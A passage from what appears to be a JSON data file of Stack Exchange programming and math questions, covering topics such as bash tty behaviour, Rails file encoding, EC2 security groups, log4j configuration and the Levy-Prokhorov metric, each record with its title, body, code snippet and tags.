2011. the crm-server runs on a dedicated server, that is not rechable from outside
the network of my company (im using dynamics crm for my master thesis). i can only
reach it from within our network and i have no problems to do so with the internet
explorer and the web client.\nwhen i start the config wizard of the outlook client,
i am prompted to insert the url of the crm-server. when i type in the ip of it
(including the port where the crm-server is installed), i get the response, that
there is no communication possible (to the server).\ni also tried to change the
windows hosts-file and resolve the dns/server-name to put the servername into the
field (instead of using the ip). but nothing can bring me further in the wizard. i
cannot sign in to dynamics or select an organisation.\ngreets, suutsch\n", "",
"microsoft-outlook client crm microsoft-dynamics"], "4229451": ["Cant make AJAX
with JQuery work in rails", "I am working on a Rails project and try to use $.post
to get some data from the server, but nothing happens. Does anyone see whats
wrong?\nHTML File\n\n.js file\n\nroutes.rb\n\ncontroller.rb\n\n", "<a id=\"ta\"
role=\"button\" class=\"btn\">tzt</a>\n<div id=\"ggg\">Code goes here</div>\n",
"jquery ruby-on-rails ajax coffeescript"], "2716627": ["bash -i behavior and \"why
is my terminal hung?\"", "This happens on every distro I've tried:\n\n$ cat | bash
-i\nbash-3.2$ ls\nfoo bar\nbash-3.2$\n\nAnd now the session is hung. Ie, you get
one command and then you pretty much have to close the terminal window. SIGTERM
(aka ^C) is caught by bash but it won't get you back to a working shell.\nI'm
guessing it has something to do with the causing bash to fight with cat for
control of the tty, but I can't find anything definitive. Can anyone explain what's
going on? And how do I automate input to a program that's running without hanging?
Do I have to write an -like program that handles
tty vagaries?\n", "-i", "bash tty"], "4744544": ["Sharepoint Custom Filter Web
Part", "I want to create a custom web part that has more than 1 filter web part and
that can be connected to Report Viewer Web Part (Integrated Mode) at runt
time/design time.\nI searched a lot but could not find a way to have single web
part that is a provider to more than 1 filters.\nSay for example - \n\nSolution
Tried so far\n\nProblem:\nEven though 2 connection option is shown on my custom
filter web part only one can be added For example - If I connect Filter1(custom web
part) to Department then i am unable to connect it to Report Viewer web part
again.\nMy web part have methods like this\u00a0 \n\u00a0\u00a0\u00a0\u00a0\u00a0\
n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\
u00a0*[ConnectionProvider(\"Departmet\",\u00a0\"UniqueIDForDept\",\
u00a0AllowsMultipleConnections\u00a0=\u00a0true)]\u00a0\n\u00a0\u00a0\u00a0\u00a0\
u00a0\u00a0\u00a0\u00a0public\u00a0ITransformableFilterValues\u00a0ReturnCity()\
u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{\u00a0\n\u00a0\u00a0\u00a0\
u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\
u00a0dropDownDepartment;\u00a0//\u00a0It\u00a0implemets\
u00a0ITransformableFilterValues\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\
u00a0}\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\
u00a0[ConnectionProvider(\"Region\",\u00a0\"UniqueIDForRegion\",\
u00a0AllowsMultipleConnections\u00a0=\u00a0true)]\u00a0\n\u00a0\u00a0\u00a0\u00a0\
u00a0\u00a0\u00a0\u00a0public\u00a0ITransformableFilterValues\
u00a0ReturnMyRegionB()\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{\
u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\
u00a0return\u00a0dropDownRegion;\u00a0//It\u00a0implemets\
u00a0ITransformableFilterValues\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\
u00a0}*\u00a0\n", "1. My Report accept 2 parameter Department and Region.\u00a0 \
n2. I want to connect both parameter with single web part having two drop down (one
for Department and one for Region)\n3. Values from both the drop down should be
passed to Department and Region\n4. Report should be rendered in Report Viewer Web
Part\n", "sharepoint filter webparts"], "5109334": ["Rails 3 + paperclip + windows
+ file name encoding problem", "I use rails 3 and paperclip plugin to attach
files.\nI've got two models:\n\nOrder;\nOrderAttachment:\n\nbelongs_to :order;\
nhas_attached_file :doc;\n\n\nAnd I try to attach files to order via paperclip;\
nWhen I\u2019m attaching files with English or numeric file name everything works
great:\n\nBut when I\u2019m attaching files with Russian file name error occurs:\n\
nPaperclip saves file to D:/my_project_path/public/system/docs/94/original/\u041f\
u0440\u0438\u043c\u0435\u0440.txt (i can open it via explorer) but no record in
database created. Maybe something wrong with encoding.\nI use:\n\nWindows 7
professional x64;\nPostgreSQL 9.0 (UTF-8 database encoding);\nRuby 1.9.2;\nRuby on
Rails 3.0.7;\nPaperclip 2.3.11;\n\nThanks for any help.\n", " SQL (0.0ms) INSERT
INTO \"order_attachments\"
(\"order_id\", \"created_at\", \"updated_at\", \"doc_file_name\", \"doc_content_ty
pe\", \"doc_file_size\", \"doc_updated_at\") VALUES (1, '2011-06-08
11:07:22.108523', '2011-06-08 11:07:22.108523', 'Example.txt', 'text/plain', 22,
'2011-06-08 11:07:22.105523') RETURNING \"id\"\n[paperclip] Saving attachments.\
n[paperclip] saving D:/my_project_path/public/system/docs/93/original/Example.txt\n
SQL (1.0ms) COMMIT\nCompleted 200 OK in 229ms (Views: 21.0ms | ActiveRecord:
7.0ms)\n", "windows ruby-on-rails-3 paperclip"], "6012955": ["Made a JFrame, made
an applet, not sure how to combine the two?", "I'm a complete Java novice and need
some help. Basically, I was tying to make a JFrame that had a background for my
already made game. I just used Netbeans design tab and was hoping I could combine
the code in a dedicated section of the code, which I've been unable to do. \
nAlternatively, it would be just as good if somebody could show me how to add a
background to the JFrame created in my game, the code is below:\n\nThe code for the
JFrame is:\n\nThanks!\n", "JFrame", "java swing applet jframe"], "1783113": ["Is it
possible to force the print dialogue box to ALWAYS show? (Windows XP)", "I am not
sure if this is the best place to post this question, but I'm thinking the problem
can be solved programmatically.\nWe use a program (web-based in IE) at work that in
some instances of printing will essentially perform a \"quick print\" and will
forgo showing the printer dialogue box for \"convenience\". Problem is that if we
are printing invoices we want to use invoice paper, and our options are to:\n\
nBefore printing swap out the paper for invoice paper\nChange default printer
settings (globally, settings can not be set per application as it is a web-based
system) to print to manual tray then place paper in that tray then click print;
change printer settings back to default afterwards\nPost the invoice then go back
and print the invoice using a separate function which allows the print dialogue box
to show (more inconvenient than it sounds as the automatically assigned invoice #
needs to be looked up before you can go to this step)\n\nIdeally I'd like to force
my printer dialogue box to ALWAYS show with any print job, as this would also be
useful in those times where I accidentally click \"Quick Print\" from Word before
setting up my print job.\nAnother option would be to create two shortcuts (batch
files?) that would switch between the two defaults for our printers. Any ideas?\n",
"", "printing"], "2214257": ["Sql server 2000 replication error", "Good morning,\nI
have a sql server 2000 machine, with SP4.\nI have a transactional replication.\nA
keep receving this error message:\nThe process could not execute 'sp_replcmds' on
'servername'\nthe logreader stops responding.When i click start it starts fine, and
the replication starts fine.And then, works for hours, and the problem comes back.\
nIn the begining i though it could be timeouts, but i already set a couple of
parameters in the logreader profile,like querytimeout/readbatchsize.\nSometimes
when the logreader stops,it generates a dump, but not always.\nIn event viewer, it
appears this message:\n17066 :\nSQL Server Assertion: File: , line=1985\nFailed
Assertion = 'startLSN >= m_curLSN'.\n18052 :\nError: 3624, Severity: 20, State: 1.\
n17066 :\nSQL Server Assertion: File: , line=2223\nFailed Assertion =
'm_noOfScAlloc == 0'.\nI also executed checkdb in the databases, and they are
fine.\nhave you every experienced something similar?\nthanks in advance,\nRenato
Alves.\n", "", "sql-server sql-server-2000"], "928707": ["Tumblr Post on Facebook
does not include Post Contents", "My blog: blog.go-jewellery.com, a tumblr blog,
when I try to share posts, on facebook by either:\n\nposting links - e.g. a post
from my blog: http://blog.go-jewellery.com/post/19451387150/veg-out-london-borough-
market-taken-with\nusing facebook sharing button at my post level\n\nIt will never
pull in the post content, image, to be posted onto facebook. All it pulls in is the
blog url.\nIs it possible to include the contents from the post, when posting on
Facebook?\nMany thanks for your help.\n", "", "facebook facebook-like tumblr
facebook-opengraph"], "3457366": ["OO design of simple card game", "I am writing
simple card game called Durak.\nThe rules are pretty simple and well described in
Wikipedia\nThere are few classes in my design: Deck, Player, Table.\nTable is
created with the object of Deck, you can add many Players to the Table.\n\nI am
looking for a way to check all turns at game rules. I would like to work with
separate Rules class to make design more flexible and to have possibility to use
different rules objects. But the difficulty is that due to lack of experience, I do
not know how to best \"pass\" turns to the class of rules. I'd like to get a design
with high cohesion.\nShould I make the players (Player) as observers and respond to
Table events instead of change and inform Players by Table?\n\nCould you help me
with this issue, please?\n", "", "oop good-design"], "3353044": ["Objective-C
passing methods as parameters", "How do you pass one method as a parameter to
another method? I'm doing this across classes.\nClass A:\n\nClass B:\n\nClass C:\n\
n", "+ (void)theBigFunction:(?)func{\n // run the func here\n}\n", "iphone
objective-c ios xcode selector"], "5593127": ["jquery add li to end of ul but last
created li not recognised as last", "I have the following code. On cliking the
button on the last li, I can create the new li. However, once created, if I click
on the latest button created, new li is created. It seems it doesn`t recognise the
last created li as the last li. Can someone help on this please. \n\n\n\n\n\n\n",
"<html xmlns=\"http://www.w3.org/1999/xhtml\" >\n", "javascript jquery html click
live"], "3491196": ["BufferSize location in log4j xml configuration", "I have the
following in my log4j.xml configuration: \n\nWhen I run it, I get the following
warning: \n08-Apr-2013 14:22:15\nlog4j:WARN Continuable parsing error 18 and column
13\nlog4j:WARN The content of element type \"appender\" must
match \"(errorHandler?,param*,rollingPolicy?,triggeringPolicy?,connectionSource?,la
yout?,filter*,append\ner-ref*)\".\nDo I need to move as follows:\n\n", "<appender
name=\"FileAppender\" class=\"org.apache.log4j.DailyRollingFileAppender\">\n
<param name=\"File\" value=\"${MDCapture.logfile.dir}/${APP_NAME}.log\"/>\n
<param name=\"BufferedIO\" value=\"false\"/>\n <param name=\"DatePattern\"
value=\"'.'yyyy-MMM-dd\"/>\n <layout class=\"org.apache.log4j.TTCCLayout\">\n
<param name=\"DateFormat\" value=\"ISO8601\"/>\n </layout>\n</appender>\n\
n<appender name=\"AsyncAppenders\" class=\"org.apache.log4j.AsyncAppender\">\n
<appender-ref ref=\"FileAppender\"/>\n
<param name=\"BufferSize\" value=\"1000\" />\n</appender>\n", "java log4j"],
"3257743": ["Kendo UI with backbonejs", "Do you think is possible to use backbone
js with Kendo widgets for the UI? or Kendo framework is too strong for
integration?\nPS: i'm not a expert of anyone of the two\nThanks\n", "",
"backbone.js javascript-framework kendo-ui"], "3522831": ["facebook connect:
javascript logs session but php doesn't", "I had the sample facebook login
implementation, and just realized that it stopped working:\n\nprints but when i
click the login button (facebook) firebug logs: and the login popup (facebook)
won't open.\nWhat am I missing? Is the facebook-api outdated one year later??\n", "
<?php\n// Create our Application instance (replace this with your appId and
secret).\n$facebook = new Facebook(array(\n 'appId' => 'myappid',\n 'secret' =>
'mybigsecreet',\n 'cookie' => true,\n));\n\n// We may or may not have this data
based on a $_GET or $_COOKIE based session.\n//\n// If we get a session here, it
means we found a correctly signed session using\n// the Application Secret only
Facebook and the Application know. We dont know\n// if it is still valid until we
make an API call using the session. A session\n// can become invalid if it has
already expired (should not be getting the\n// session back in this case) or if the
user logged out of Facebook.\n$session = $facebook->getSession();\n\n$me = null;\
n// Session based API call.\nif ($session) {\n try {\n $uid = $facebook-
>getUser();\n $me = $facebook->api('/me');\n\n $r = new
registro_usuarios();\n
$r->facebook($uid,$me['name'],'https://graph.facebook.com/'.$me['id'].'/picture');\
n\n echo '----------------------------'.$me;\n } catch
(FacebookApiException $e) {\n error_log($e);\n echo
'----------------------------'.$e;\n }\n}else echo 'nosession';\necho $session;\
n", "php facebook facebook-graph-api facebook-php-sdk facebook-login"], "3575259":
["Is the use of parachutes supported by peer-reviewed papers?", "While googling
about Ben Goldacre, I came across the following reductio ad absurdum argument:\n\
nNerd, can you point me to the data\n that shows that wearing a parachute\n
increases your life expectancy when\n jumping out of a plane? You see,\n someone
claimed that it is helpful,\n but there s nothing in the data to\n support this.
I cannot find any\n reference to a double blind trial, I\n can\u2019t find any
peer-reviewed studies,\n and I cannot even find a pilot study\n comparing
survivability with or\n without a \u2018chute. Is it bad science to\n rely on
anecdotal data here? If not,\n why not?\n\nI guess there's the hypothetical
about \"What would you do if there weren't any peer-reviewed papers about
parachutes?\", but I'm interested in whether there's any scientific papers
supporting the use of parachutes.\nEdit: The papers don't necessarily have to
involve double-blinded randomized experiments on humans. For example, the paper
High-rise syndrome in cats concluded that the survival rate of cats increased as
the height increased, possibly because cats become more relaxed once they reach
terminal velocity, and possibly because it has more time to prepare for the
landing. Rather than a double-blinded study, they observed 132 cats who had
been \"diagnosed\" with high-rise syndrome over a 5-month period.\n", "", "medical-
science parachutes"], "4218601": ["Using a count variable in a file name- Bash", "I
have a quick question. I just wanted to know if it was valid format (using bash
shell scripting) to have a counter for a loop in a file name. I am thinking
something along the lines of:\n\nfor((i=1; i <=12; i++))\ndo\nSTUFF\nmake a
file(i).txt\n\nI am SUPER new to shell scripting (especially with bash) and I
really couldn't find anything that was hugely relevant to my question. I could be
wrong though, so if you know of a place where this is already discussed please link
me to it. \nThanks much! \n", "", "file bash variables loops count"], "4956056":
["Best approach to load a dettached collection", "I have a disconnected entity
called \"Establishment\" which has a collection called \"Locations\".\nWhat's the
best approch to load this collection ?\nI'm doing this:\n\nThe problem is that, I'm
testing this code on linqpad and it generates one sql text for each Location row
(oh my!)\n", "var estab = new Establishment(){ ID = 1 };\
nContext.Establishment.Attach(estab);\nEntry(estab).Collection(c =>
c.Locations).Load();\n", "entity-framework-4.1"], "5911237": ["Correct use of Java
exceptions", "I have several questions about best use of exceptions in Java.\
nConsider the code below:\n\nThis code is for an android app where the connection
may not be very reliable, so I would like to re-try the getPhoto() method a few
times to see if it will work, then fail and alert the user.\nMy questions:\n\nI am
opening an InputStream in doHttpGetRequest() and that method is throwing an
IOException. How do I close the InputStream if it has thrown the exception? Without
a finally block within the method that would allow me to close resources, i'm
confused.\nIn main(), I'm only interested in whether getPhoto() works or does not
work. Would I be better to surround statements inside getPhoto() with a try/catch
block and catch the JSONException, throwing a new IOException when it is caught?
This would lead to only having to catch one kind of exception in main(), leading to
simpler code and not having duplicate functionality.\nIf p.getPhoto() throws an
exception, I want to re-try it (possibly twice) and then display a user alert if
this fails. Is there a common programming structure to doing this?\n\n", "private
String doHttpGetRequest(String url) throws IOException {\n...\n}\n\nprivate Photo
processJson(String json) throws JSON Exception{\n...\n}\n\nprivate Photo getPhoto()
throws IOException, JSON Exception {\n String url = \"http://...\";\n String
response = doHttpGetRequest(url);\n Photo photo = processJson(response);\n
photo.downloadImage();\n return photo;\n}\n\npublic static void main(String
args[]) {\n Photo p = null; \n try {\n p = getPhoto();\n }
catch( JSONException j ) {\n // Re-try a few times, then display user alert\
n } catch( IOException e ) {\n // Re-try a few times, then display user
alert\n }\n\n if( p!=null)\n // now display photo\n}\n", "java
exception exception-handling"], "4175538": ["How to allow interaction between EC2-
instances in the same firewall-group", "Situation\nLet's take the following
design:\n\nEvery app server is in both the and the . Every db server is only in
the .\nThough I assumed servers in the same firewall group would be able to connect
to each other, it turned out they don't :p.\n\nRequirities\n\nServer A, B and C
should be able to connect to X, Y, Z\nServer X, Y and Z shouldn't be accessible at
all from outside the .\nServer A, B and C should be accessible (at port 80) from
outside the .\nServer A, B, C, X, Y and / or Z should never be hardcoded. So I
don't want any exception [A, B, C, X, Y, Z]-firewall rules. This is because it
needs to be fault-tolerant and auto scalable. It could happen that A goes down, and
an identical instance D (with a new IP) goes up, it should be able to connect to X,
Y, Z instantly, without changing firewall-rules. So no IP-aliases (elastic IPs)
either ...\nAs long as IPs aren't hardcoded, I'ld be able to use IP-tables for
this.\nUsing authentication (by user/pass) for X, Y and Z are no option. The
underlying database doesn't provide this.\n\n\nQuestion\nHow can I make this work
=)?\n", "App servers DB servers\n- Server A - Server X\n- Server B
- Server Y\n- Server C - Server Z\n", "amazon-ec2 firewall iptables"],
"3984038": ["iPad: Is there a frame like the GroupBox in C#?", "I'm new to
iPhone/iPad development. I'm looking for a way to visually groups some controls
just like the GroupBox in C#. I know it doesn't make much sense in iPhone due to
limited space, but my app is for iPad only and customer wish to see that. Any
idea?\n", "", "ipad border frame"], "5001066": ["Why is my global security group
being filtered out of my logon token?", "While investigating the effects of
filtered tokens on my file permissions, I noticed that one of my global security
groups is being filtered in addition to the regular system-defined filtered
groups.\nMy Active Directory environment is a single-domain forest on the Windows
Server 2003 functional level. I'll call the domain \"mydomain.example.com\". I am
logged onto a Windows Server 2008 Enterprise Edition machine (not a domain
controller) as a member of the \"MYDOMAIN\\Domain Admins\" group and
the \"MYDOMAIN\\MySecurityGroup\" global security group (among others). When I run
\"whoami /groups\" from an elevated command prompt, I see the full list of groups
to which my account belongs as expected. When I run \"whoami /groups\" from a
regular, non-elevated command prompt, I see the same list of groups, but the
following groups are described as \"Group used for deny only\".\n\nBUILTIN\\
Administrators\nMYDOMAIN\\Schema Admins\nMYDOMAIN\\Offer Remote Assistance Helpers\
nMYDOMAIN\\MySecurityGroup\n\nNumbers 1 through 3 above are expected based on
Microsoft documentation; number 4 is not. The \"MYDOMAIN\\MySecurityGroup\" global
security group is a group that I created. It contains three non-built-in global
security groups, and these security groups contain only non-built-in user accounts.
(That is, I created all of the accounts and groups that are members of
the \"MYDOMAIN\\MySecurityGroup\" global security group.) There are other, similar
groups of which my account is a member that are not being filtered out of my logon
token, and this group is not granted any specific user rights in the security
settings of this computer or in Group Policy.\nWhat
would cause this one group to be filtered out of my logon token?\n", "", "windows-
server-2008 uac"], "5098824": ["What is the cause of flexible array member not at
end of struct error?", "I am wondering why I keep getting error when I call
malloc. I have a struct with a variable length array, and I keep getting this
error.\nThe struct is,\n\nand the call to malloc is,\n\nIs this the correct call to
malloc?\n", "error: flexible array member not at end of struct", "c struct
malloc"], "2470481": ["Perl: How to pass information to a function in module?",
"Completely new to Perl here. Anyway, I was given a certain task and I found a perl
module online that does exactly what I want. \nMatrix\nDocumentation\nThis is the
documentation for the perl module -- under Ext there is one called pwmsearch, which
does exactly what I need.\nSo I tried to write a script that starts out something
like this:\n\nThe problem is that I cannot figure out how I am supposed to pass
objects to pwmsearch. The source code of pwmsearch as shown in the documentation
above says it takes in $matrixobj and $seqobj, which I have stored as files matrix
and sequence. \nSo after googling around on what I could try, I tried doing things
like:\n\nor\n\nBut all of them makes perl bark at me with various errors. What am I
doing wrong and what could I do to fix them?\n", "#!/usr/bin/env perl -w\n\nuse
strict; \nuse TFBS::Ext::pwmsearch; #this was how the documentation said in
synopsis part for pwmsearch so I figured this was how to do it\n", "perl perl-
module"], "1850944": ["OpenIndiana Static IP", "I've installed OpenIndiana 151a7
twice now. Configured a static ip using the following
instructions:\n\n/etc/nodename\n\n/etc/hostname.e1000g0\n\n/etc/resolv.conf\n\n/
etc/inet/hosts\n\n/etc/inet/ipnodes\n\n/etc/defaultdomain\n/etc/defaultrouter\n\nI
cannot ping and cannot for the life of me figure out why.\nI also tried this
alternative:\n/etc/hostname.e1000g0\n\n/etc/netmasks\n\nCan anyone help me figure
out why I can't ping?\n", "svcadm disable svc:/network/physical:nwam\nsvcadm enable
svc:/network/physical:default\ncp /etc/nsswitch.dns /etc/nsswitch.conf\n", "ip
solaris opensolaris openindiana"], "237609": ["PDF and zoom - CATiledLayer", "I
have a problem, I'm not a programmer but I try to do some app for fun.\nI try to
create a pdf viewer, I create a UIView class like this:\n\nnow I try to add zoom
but without luck, fro zoom I create a layer:\n\nEDIT: the zoom work, I use
shouldAutorotateToInterfaceOrientation that was the problem (I need to rewrite some
code), now it work BUT when I zoom quality worsens. :(\n", "- (id)initWithFrame:
(CGRect)frame {\n\n self = [super initWithFrame:(CGRect)frame];\n if (self)
{\n self.backgroundColor = [UIColor clearColor];\n NSString
*pathToPdfDoc = [[NSBundle mainBundle] pathForResource:@\"myPDF\"
ofType:@\"pdf\"];\n NSURL *pdfUrl = [NSURL fileURLWithPath:pathToPdfDoc];\n
document = CGPDFDocumentCreateWithURL((CFURLRef)pdfUrl);\n currentPage = 1;\
n }\n return self;\n}\n\n-(void)drawRect:(CGRect)inRect{ \n
if(document) {\n CGPDFPageRef page = CGPDFDocumentGetPage(document,
currentPage);\n CGContextRef ctx = UIGraphicsGetCurrentContext();\n
CGContextSaveGState(ctx);\n CGContextTranslateCTM(ctx, 0.0, [self
bounds].size.height);\n CGContextScaleCTM(ctx, 1.0, -1.0);\n
CGContextConcatCTM(ctx, CGPDFPageGetDrawingTransform(page, kCGPDFCropBox, [self
bounds], 0, true));\n CGContextDrawPDFPage(ctx, page); \n
CGContextRestoreGState(ctx);\n }\n}\n\n-(void)increasePageNumber {\n size_t
pageCount = CGPDFDocumentGetNumberOfPages(document);\n if (currentPage ==
pageCount) {\n // do nothing\n }\n else {\n currentPage++;\n
[self setNeedsDisplay];\n }\n}\n\n-(void)decreasePageNumber {\n if
(currentPage == 1) {\n // do nothing\n }\n else {\n
currentPage--;\n [self setNeedsDisplay];\n }\n}\n", "iphone xcode pdf
zoom catiledlayer"], "1084908": ["Spring Bean overriding issue with Autowire
'byType'", "I have one bean Name \"MasterService\" that has the attribute
autowired=\"byType\". In that bean I have one property as \n AccountService
accountService;\nAnd I have registered implementation of this bean
as \"DefaultAccountService\". Now somebody wants to extends 'DefaultAccountService'
and create 'CustomAccountService'. and also register but during initialization
of \"MasterService\" getting the exception that 2 beans are there for
AccountService [DefaultAccountService and CustomAccountService]. \nwe dont know how
to resolve this?\nthanks in advance\n", "", "java spring javabeans autowired
overriding"], "4825490": ["How to organize code in text editors like dreamweaver
and notepad++?", "\nI wanted to know to to organize my html or any other code, with
spaces from the border.\nI mean what is the keyboard shortcut to do that, to add
spaces to code to make it neater ?\nand thanks\n", "", "html dreamweaver notepad+
+"], "5936412": ["Adding variables to connect-assets", "I am trying to add some
variables from my app.js file into the file compiled by connect-assets.\nI have a
file called \n\nIn I have:\n\nIn I would like to add some production/development
variables depending on the system (). When I try to do this, the variable added is
rejected, becuase connect-assets is compiling them as tags. What is the proper way
to pass in variables into ?\n", "file.ejs", "node.js coffeescript express connect
ejs"], "4226666": ["Choosing a random natural number with bijection with
rationals", "It's said that you can't choose a random natural number. But what if
you take a bijection between the natural numbers and, say, the rational numbers in
the unit interval, and then choose a random rational number from that interval, and
then take the corresponding natural? Why doesn't this work?\n", "", "probability-
theory random"], "5341746": ["What is the motivation of Levy-Prokhorov metric?",
"From Wikipedia\n\nLet $(M, d)$ be a metric space with its Borel sigma algebra\n
$\\mathcal{B} (M)$. Let $\\mathcal{P} (M)$ denote the collection of all\n
probability measures on the measurable space $(M, \\mathcal{B} (M))$.\nFor a subset
$A \\subseteq M$, define the $\u03b5$-neighborhood of $A$ by $$\n A^{\\
varepsilon} := \\{ p \\in M ~|~ \\exists q \\in A, \\ d(p, q) < \\varepsilon \\}
= \\bigcup_{p \\in A} B_{\\varepsilon} (p). $$ where\n $B_{\\varepsilon} (p)$ is
the open ball of radius $\\varepsilon$\n centered at $p$.\nThe L\u00e9vy\
u2013Prokhorov metric $\\pi : \\mathcal{P} (M)^{2} \\to [0, +\n \\infty)$ is
defined by setting the distance between two probability\n measures $\\mu$ and $\\
nu$ to be $$\n \\pi (\\mu, \\nu) := \\inf \\left\\{ \\varepsilon > 0 ~|~ \\
mu(A) \\leq \\nu (A^{\\varepsilon}) + \\varepsilon \\ \\text{and} \\ \\nu (A) \\leq
\\mu\n (A^{\\varepsilon}) + \\varepsilon \\ \\text{for all} \\ A \\in\n \\
mathcal{B}(M) \\right\\}. $$\n\n\nI wonder what the purpose, motivation and
intuition of the L-P metric are?\nIs the following alternative a reasonable metric
or some generalized metric between\nmeasures $$ \\sup_{A \\in \\mathcal{B}(M)} |\\
mu(A) - \\nu(A)|? $$ If\nyes, is this one more simple and easy to understand and
therefore maybe more useful than L-P\nmetric? \nA related metric between
distribution functions is the Levy metric:\n\nLet $F, G : \\mathbb{R} \\to [0, + \\
infty)$ be two cumulative\n distribution functions. Define the L\u00e9vy distance
between them to be $$\n L(F, G) := \\inf \\{ \\varepsilon > 0 | F(x - \\
varepsilon) - \\varepsilon \\leq G(x) \\leq F(x + \\varepsilon) + \\varepsilon \n
\\mathrm{\\,for\\,all\\,} x \\in \\mathbb{R} \\}. $$\n\nI wonder how to picture
this intuition part:\n\nIntuitively, if between the graphs of $F$ and $G$ one
inscribes\n squares with sides parallel to the coordinate axes (at points of\n
discontinuity of a graph vertical segments are added), then the\n side-length of
the largest such square is equal to $L(F, G)$.\n\n\nThanks and regards!\n", "",
"measure-theory metric-spaces"], "5656932": ["Changing ggplot2 legend title without
altering graphical parameters", "I have found many topics about the legend title
with ggplot2 but after a couple of hours I have not been able to handle my
situation.\nHere is the dataset:\n\nAnd the graphic of interest:\n\n\nIf I use to
change the legend title then I get an unexpected additional legend:\n\n\nI suppress
this additional legend with but I don't understand how to control the parameters
(the style of points and lines):\n\n\nPlease how to reproduce the first plot with
and only with a new legend title ?\n", "> dat\n FACTOR1 FACTOR2 lsmean lower.CL
upper.CL\n1 A aa 26.2 25.6 26.8\n2 B aa 24.8
23.9 25.7\n3 A bb 26.0 25.2 26.7\n4 B bb 24.9
23.9 25.9\n5 A cc 24.4 23.9 24.8\n6 B cc 23.9
22.9 25.0\n7 A dd 24.9 24.3 25.6\n8 B dd 23.2
22.3 24.0\n", "r graphics ggplot2"], "5282990": ["How do you create a PDF from
XML in Java?", "At the moment, I'm creating an XML file in Java and displaying it
in a JSP page by transforming it with XSL/XSLT. Now I need to take that XML file
and display the same information in a PDF. Is there a way I can do this by using
some kind of XSL file?\nI've seen the iText Java-PDF library, but I can't find any
way to use it with XML and a stylesheet.\nAny assistance would be much appreciated.
Thanks in advance!\n", "", "java xml pdf xslt itext"], "3616992": ["C++ Linked
List: IndexOf of an object", "I am trying to find an index of a given object in my
linked list.\nI want to return -1 is the object doesn't exist in my list.\nBelow is
my code, please guide me.\n\n", "int List::indexOf(const
Object& o) const\n{\n Node* tempNode = first;\n int count = 0;\n
while(tempNode != NULL)\n {\n if (o.compare(tempNode->o) == 0)\n
{\n break;\n }\n ++count;\n tempNode = tempNode->next;\n
}\n return count;\n}\n", "c++ index linked-list nodes"], "2694791": ["Including
shared powershell files in Nuget package?", "I have a solution that has several
projects that create Nuget packages when they build. Many of the powershell files
are shared across different projects and I'm trying to come up with a good way to
keep them synchronized.\nMy first impression was to use linked files, but come to
find out, linked files don't get included in the Nuget package. I also can't find
anything on the internet about it.\nI'm thinking I'm gonna have to write a custom
build target, but before I go down that road, I want to see if there's an easy
approach.\nThanks in advance.\n", "", "powershell nuget"], "1931355":
["AVAudioPlayer Stop Sounds iPhone SDK Objective C", "hope you can help me (tried
lots of things here, but nothing worked)\ni want to play several sounds by pressing
a button and i want one button to cancel the playing sounds.\nheader:\n\n.m file:\
ni want to call it like this\n\nwhy is the \"theAudio\" variable undeclared in the
StopSound() function???\nplease help me :(\nthx in advance\nEDIT: IT WORKS NOW LIKE
I DID IT ABOVE\nTHX!!!\n", "#import <UIKit/UIKit.h>\n#import
<Foundation/Foundation.h>\n#import <AVFoundation/AVFoundation.h>\n\n@interface
MainView : UIView <AVAudioPlayerDelegate> {\n\n IBOutlet UILabel
*SoundDescriptionLabel;\n IBOutlet UIBarButtonItem *StopSoundButton;\n\n}\n-
(IBAction)PlayFatGuyWalking:(id)sender;\n- (IBAction)PlayRoadRunner:(id)sender;\n-
(IBAction)ShowInfoPopup:(id)sender;\n- (IBAction)PlayChaosRunning:(id)sender;\n-
(IBAction)PlaySadTrombone:(id)sender;\n- (IBAction)PlayBadJokeSound:(id)sender;\n-
(IBAction)PlayHorrorSynth:(id)sender;\n- (IBAction)PlayLKWPeep:(id)sender;\n-
(IBAction)PlayUiToll:(id)sender;\n- (IBAction)StopSound:(id)sender;\n\n\n\
nAVAudioPlayer *theAudio;\n\n\n\n@end\n\n\n//PlaySound Function\nvoid
playSound(NSString *filename,NSString *type){\n [theAudio stop];\n\n NSString
*path = [[NSBundle mainBundle] pathForResource:filename ofType:type];\n theAudio
= [[AVAudioPlayer alloc] initWithContentsOfURL:[NSURL fileURLWithPath:path]
error:NULL];\n\n\n [theAudio play];\n\n\n\n\n}\n", "objective-c iphone-sdk-4.0
avaudioplayer"], "889947": ["SSH failing from script, working on command line
(Git)", "Have 3 servers: Local, Bare, Development.\nThe following workflow works
perfectly:\n\nThis does exactly what you would expect, content gets pulled to my
Development server, displays on the page, all is well.\nHowever, if I move the last
line to my hooks/post-receive file on Bare, I get a\n\nI can ssh from Development
to Bare without issue and without using a password (after I set up an RSA pair).\
nEven if I cut the post-receive hook down to just \n\nI get the same error, but if
I enter this exact same line on the command line, it works fine.\n", "1. Make my
local changes \n2. git push to Bare \n3. ssh into Bare \n4. $ ssh
ip.of.Development.server \"cd /path/to/Development/repo; git pull\"\n", "linux
permissions git rsa"], "1874781": ["Prevent Windows 7 from changing PCI Command
Register", "I have a Compact PCI card in a PXI chassis; it has 2 BARs of memory
which should be accessible via National Instruments NiVisa operations. I'm having
trouble with Windows 7 changing the command register on the card during its start
up sequence so that the card's memory Bars are inaccessible. I ran a Bus analyzer
and observe that the command register of the configuration space is set to a
desirable value (0x0197) after BIOS runs.\nI'd like this value to persist through
the Windows start up sequence. It does remain the same when using the Windows XP
operating system, but not when running Windows 7. I've set up a dual booting
machine with Windows XP and Windows 7 to make sure all the hardware is the same
during the comparison. After the Windows 7 start up sequence, the value is
0x0194.\nI am able to set the command register to 0x197 to get those last two bits
the way I want them from within the program I'm using to talk to the PXI card, and
this allows me to use the card as desired, but it is not a stable fix. I get
frequent errors when starting new communication sessions (after closing old
sessions) that memory allocation can't be performed by the National Instruments
libraries.\n\nIs there a way of preventing Windows 7 from configuring the PXI
